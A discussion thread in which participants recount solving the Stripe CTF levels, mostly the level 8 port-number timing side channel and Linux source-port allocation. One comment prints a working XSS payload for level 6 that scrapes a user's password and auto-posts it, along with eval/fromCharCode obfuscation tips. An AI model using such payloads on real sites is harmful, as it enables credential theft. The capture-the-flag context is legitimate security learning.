At least I identified the "correct" vulnerability.
Does somebody know?
What other gotchas should be know about Sinatra development?
What I did see was an awesome group of folks willing to help nudge others in the right direction. Many folks would stick around in prior level channels once they solved the level and offer pointers as to what to look for and where to look for it. Awesome.
I convinced myself it wasn't "cheating" because a) I'm a total noob, and b) sometimes pentesting happens with a team where people bounce ideas off one another.
I spent probably 20 hours trying to finish level 8, and even though I didn't end up getting it, this was a great experience. I'm fully inspired to get better at python and actually ctff next time.
Also, again, awesome how cool the people in irc were.
I still wrote the code myself.
Awesome data for Stripe to hire against - they have a list of very technically competent people and a log of how they conduct themselves in a public forum.
https://gist.github.com/38c0430b5084f8442858 for those who are interested. There aren't many comments in there though
Add your level8 solution to https://docs.google.com/spreadsheet/viewform?formkey=dHBYSjJ... - it's a registry of level8 solvers for comparison (Mine are under 'IntruderAlert').
For the first chunk, a diff of 2 meant the first chunk server returned false, as the change in port #s meant no other network traffic had occurred between the primary server's request and reporting false from the chunk server. The chunk servers were called synchronously, so if the first chunk was correct and the second chunk server returned false, the difference would (ideally) be three. It's easy to see how a high network load would cause a lot of jitter here.
Some in IRC suggested the best way to reduce jitter was to improve the processing speed of the successive curl calls by using a faster language, such as C. My initial script was in Ruby, which felt qualitatively slower than Python, so I was stymied by jitter too. (I started out rejecting 2 in 10, and it got progressively worse.) I simply checked back every one in a while. By Monday night, the server was either empty or Stripe had increased processor resources, so 9/10 of my calls were effective.
You had to accommodate for it in your script, if you received a number higher than the expected diff then you needed to keep sending the same request till you where sure they hit concurrently.
Basically the time to crack got longer the more people who were trying to crack it, it became an optimisation race in the end about who could get the requests in faster/closer together
I ended up finishing #65 due to not wanting to rewrite my slow python script. It took upwards of an hour to get a single chunk because of the load
var s = /string you want/.source;It transforms javascript into a sequence of ()[]{}!+
eval(unescape(/your escaped code goes here/.source))
Use Javascript's escape() to generate the codeIt's a bit messy, as my original solution didn't work on the live server and I had to rethink it. My second plan was to reduce it to a handful of potential chunks I could brute force. Once I got it running, though, I realized it was eliminating about half of the chunks on each pass, which left me with the correct one in 7-13 iterations.
I actually had no problems with chunks 1 and 2. Half way through chunk three the server started acting up so I aborted my script and added the modifications that I mentioned above. I tweaked the server and client so that they had a hard coded value for chunks 1 and 2.
After having spent more than a day on level 3 I decided to look on-line for solutions and came across the aforementioned website. I was happy to see my attempt was pretty close but looking at the rest of the levels it was obvious I was out of my depth and gave up (it was already Tuesday anyway).
These write-ups are nice (although abiusx' ought to have been posted only after the challenge was finished) to see how others have solved the levels in different ways.
I can't wait for the next challenge from Stripe and will definitely check out some others on-line. It's like puzzles for grown men.
Incidentally, there's a relatively recent RFC on TCP source port randomization: http://tools.ietf.org/html/draft-ietf-tsvwg-port-randomizati.... There's a decent amount of mailing list traffic on implementing this for Linux, but it doesn't appear anything has been mainlined here yet.
# ./password_db_launcher 012345678901 127.0.0.1:3232 2>&1 | grep Received
[127.0.0.1:34651:1] Received payload: '{"password": "012345678901", "webhooks": []}'
[127.0.0.1:39664:1] Received payload: '{"password_chunk": "012"}'
[127.0.0.1:34991:1] Received payload: '{"password_chunk": "345"}'
[127.0.0.1:42667:1] Received payload: '{"password_chunk": "678"}'
[127.0.0.1:33434:1] Received payload: '{"password_chunk": "901"}'
...but it turns out that to a single host source port assignment is still both sequential and mediated by the same global sequential counter... [127.0.0.1:35502:23] Received payload: '{"password": "112345678901", "webhooks": []}'
[127.0.0.1:38011:23] Received payload: '{"password_chunk": "112"}'
[127.0.0.1:35504:24] Received payload: '{"password": "112345678901", "webhooks": []}'
[127.0.0.1:38013:24] Received payload: '{"password_chunk": "112"}'
The algorithm for determining the ephemeral source port apparently has this behavior because it involves 1) entropy that is generated once at boot, 2) an md5sum of that entropy with the destination/source address and destination port, and 3) a hashtable insertion with linear probing.As #1 is at boot, it doesn't affect the result in a way that really matters, but as #2 is based on other properties of the connection, we get behavior that looks random between backends and webhooks, but is in fact deterministic to the webhook.
What bugs me, however, is that hashtable: it is treated as a hashtable with open addressing and linear probing; the hash value that it starts with is the aforementioned md5sum: it really shouldn't end up allocating a sequential port to outgoing connections across hosts (it should only do so per host).
Except, I would assume to make it more efficient (as otherwise the hash that is going into it is going to keep returning the same thing if you are making lots of connections to one place), there is a "hint", and the hint is a static integer that is incremented for each port skipped.
So, you could seriously delete that one line of code from the kernel, then, and "solve" this at some minor performance expense. Alternatively, you could add the high bits of port_offset instead of 1 and get a quite reasonable middle ground.
Regardless, there: that's the story of why I've been operating under the assumption that Linux has not had this problem for a very long time, and exactly why I was wrong (down to the individual line of code that screwed me: inet_hashtables.c, line 521).
That said, it only somewhat changes what I was saying: I am curious if the level was designed and thought about on a device that had truly sequential port numbering. It definitely is incredibly obvious once you run it on, say, a Mac OS X laptop, that the port numbers are a side channel.
However, if you run it on Linux, you are going to have to sift through the sea of port numbers and notice that the connections to individual servers is incrementing even though, for the most part, the port numbers you are seeing look mostly like garbage.
(By the way: except for the massive difficulty cliff at level 8, this contest was amazingly well put together. I believe I said something similar already about the previous one, but I'll also say it again: that one was also amazing. I'm really curious if you have some kind of need to hire an entire army of security people, given the effort you are putting into this ;P.)
Before I started using level2 machine to both send and receive, I was planning to bind on every port of the level2 server to stop/slow others thus raising my own chances of hit. Luckily it didn't come to that.
Even before the port number attack, I was trying to find a pattern in the request object pointer values in subsequent backtraces. This gave me the port idea.
Also spent a few hours trying to exploit the Twisted HTTP client by malformed HTTP redirects (taking the over- specified Twisted version in the README as a clue).
Because of the lock, the first request you make after you get the lock was likely garbage, and then you have 250ms to get as many requests as you can. Performance here was key, since you couldn't easily do simultaneous requests so you ere limited by the number of round trips you could do in that time.
Some people managed to do simultaneous requests, but you had to do more book keeping since the delta on the first responding webhook contained all the information (eg, for a failed first chunk on N requests, you would expect a difference of 2*N). You would also have to synchronize with the lock, which isn't easy.
Due to load on the servers, SSL negotiation was extremely slow, so using a Keep-Alive connection was required for decent performance.
My final Python implementation managed to eliminate about 4 candidate chunks/sec even under heavy load. I managed to finish #90.
On level 5 I used a textfile on the compromised level 2 server instead of the 'cleaner' method shown here.
On level 6 I used some more JS:
}];</script><script type=text/html id=payload>$.get(/user-hfbnljhhim/user_info).done(function(data) { var pwd = escape($(data).find(table tr td:last).text()); $(#title).val(pwd); $(#content).val(pwd); $(form).unbind(submit); $(form).trigger(submit); } )</script><script type=text/javascript>$(function() {eval(String.fromCharCode(118,97,114,32,112,97,121,108,111,97,100,32,61,32,39,35,112,97,121,108,111,97,100,39)); eval($(payload).text().replace(/[*]/g, String.fromCharCode(39))); var post_data = [{}];});</script><script> var t = [{
It's funny to see how similar the python script is in level 8 with what I wrote, would be cool to see more writeups on this one with different solutions :)
At first I was trying to use jQuery selectors to get only the table cell with the password in it but in the end I found it much easier to just post the entire page and worry about it later.
Of course there are endless ways to do it! I had much fun with the CTF this time around since I actually knew what I was doing.
These two awesome guys (early capturer) rewrote level8 server, set up a level2-like server, and created an IRC bot that lets you run your code (after requesting SSH access to the level2-bonus server) against other in a speedrun on a random flag (same flag for every participant to a round).
Best capture time and lowest requests count wins. It's quite a lot of fun, check it out.
For the last level I solved it locally but in the server I didn't get the '3' port difference for the first password chunk (at lest in the first rounds) so I made it more complicated by getting as candidates the small port differences and running those again and culling again, got the 1st chunk of my flag before running out of time... oh well.
Stripe people made an excellent job, I really enjoyed the challenge. They were blogging than the set up took only a couple of man-weeks, given the success of this CTF I think there may be a start-up idea here: to use similar challenges for programming and/or security training/job interviews.
I'll take someone who solved by himself/herself this ctf over a CISSP in most situations any time (I'm a CISSP myself).
In contrast to their previous ctf, this time the contest itself seemed less technically robust. The site didn't work in a browser without javascript support (elinks). On level 6, the "social network" app did not work with the (quite old) version of Chrome I have; Opera could post a single message after loading the page, but after that it would silently fail to post any further messages.
I still have the shirt from the previous ctf. Dealing with disassembly was a lot more enjoyable than trying to learn jquery.
Thanks to the Stripe Team for the challenge and the T-shirt :)